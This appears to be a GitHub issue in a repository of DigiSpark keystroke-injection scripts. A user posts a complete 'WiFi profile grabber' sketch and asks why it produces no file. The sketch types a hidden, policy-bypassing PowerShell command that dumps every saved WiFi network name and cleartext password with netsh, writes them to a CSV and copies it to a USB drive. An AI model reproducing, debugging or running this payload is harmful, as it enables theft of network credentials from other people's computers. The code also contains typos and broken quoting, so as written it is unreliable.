CedArctic / DigiSpark-Scripts

USB Rubber Ducky type scripts written for the DigiSpark.
MIT License
1.9k stars 604 forks source link

Wifi profile grabber dosent create a file . #70

Open noonessenpa1 opened 2 years ago

noonessenpa1 commented 2 years ago

I've been trying to get some of your scripts working on my new digispark, and i cant get the wifi profile grabber to work, it just dosent create any file whatsoever on any drive. im using this script exactly, my usb is called MYUSB

`#include "DigiKeyboard.h" void setup() { }

void loop() { DigiKeyboard.sendKeyStroke(0); DigiKeyboard.delay(500); DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); DigiKeyboard.delay(500); DigiKeyboard.print("cmd"); DigiKeyboard.sendKeyStroke(KEYENTER); DigiKeyboard.delay(500); DigiKeyboard.print(F("powershell -NoP -NonI -W Hidden -Exec Bypass \"(netsh wlan show profiles) | Select-String '\:(.+)$' | %{$name=$.Matches.Groups[1].Value.Trim(); $} | %{(netsh wlan show profile name=$name key=clear)} | Select-String 'Key Content\W+\:(.+)$' | %{$pass=$.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | Export-Csv c:\windows\temp\temp.csv; cp c:\windows\temp\temp.csv -destination $((gwmi -Query \\"Select from Win32_LogicalDisk where VolumeName=MYUSB).DeviceID); ri c:\windows\temp\temp.csv -force")); DigiKeyboard.sendKeyStroke(KEY_ENTER); DigiKeyboard.print("exit"); DigiKeyboard.sendKeyStroke(KEY_ENTER); for(;;){ /empty*/ } }`

noonessenpa1 commented 2 years ago

btw cmd vol cammand spits out: f: Volume in drive F is MYUSB